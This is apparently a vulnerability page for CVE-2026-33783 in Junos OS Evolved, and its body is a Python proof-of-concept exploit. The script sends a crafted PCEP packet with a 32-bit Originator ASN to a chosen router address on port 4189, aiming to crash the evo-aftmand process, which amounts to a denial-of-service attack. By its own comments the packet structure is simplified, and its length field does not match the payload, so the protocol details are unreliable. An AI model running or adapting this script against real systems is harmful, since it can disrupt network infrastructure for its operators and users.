CVE-2026-33783 Junos OS Evolved参数类型错误漏洞

# PoC Concept for CVE-2026-33783 # This script demonstrates the condition that triggers the crash in evo-aftmand. # It sends a PCEP message with an Originator ASN > 65535. import socket import struct def trigger_cve(target_ip, target_port=4189): """ Sends a crafted PCEP message to trigger the Function Call With Incorrect Argument Type. """ try: # PCEP Common Header (Version 1, Flags, Message Type, Length) # Type 2 = PCInitiate (example), Length varies pcep_header = struct.pack('!BBHI', 1, 0, 2, 32) # Simplified header # SRP Object (Stateful PCE Request Parameters) srp_obj = struct.pack('!HHI', 0x0020, 0, 0x10000000) # Simplified SRP # LSP Object with Originator ASN # The vulnerability triggers when Orig-ASN > 65535 (32-bit) malicious_asn = 70000 # 32-bit ASN value # Constructing LSP Object header + TLV for Originator ASN # This is a representation of the malformed data structure lsp_obj_header = struct.pack('!HHI', 0x0010, 0, 12) # Class=16, Type=0 asn_tlv = struct.pack('!HHI', 0x0014, 0, malicious_asn) # TLV containing the large ASN payload = pcep_header + srp_obj + lsp_obj_header + asn_tlv print(f"[*] Sending malicious PCEP packet to {target_ip} with ASN={malicious_asn}") sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) sock.settimeout(5) sock.connect((target_ip, target_port)) sock.send(payload) sock.close() print("[+] Payload sent. Check if evo-aftmand crashed.") except Exception as e: print(f"[-] Error: {e}") # Note: This requires a valid PCEP session setup in a real scenario. # The specific object structure depends on the exact PCEP implementation on the target.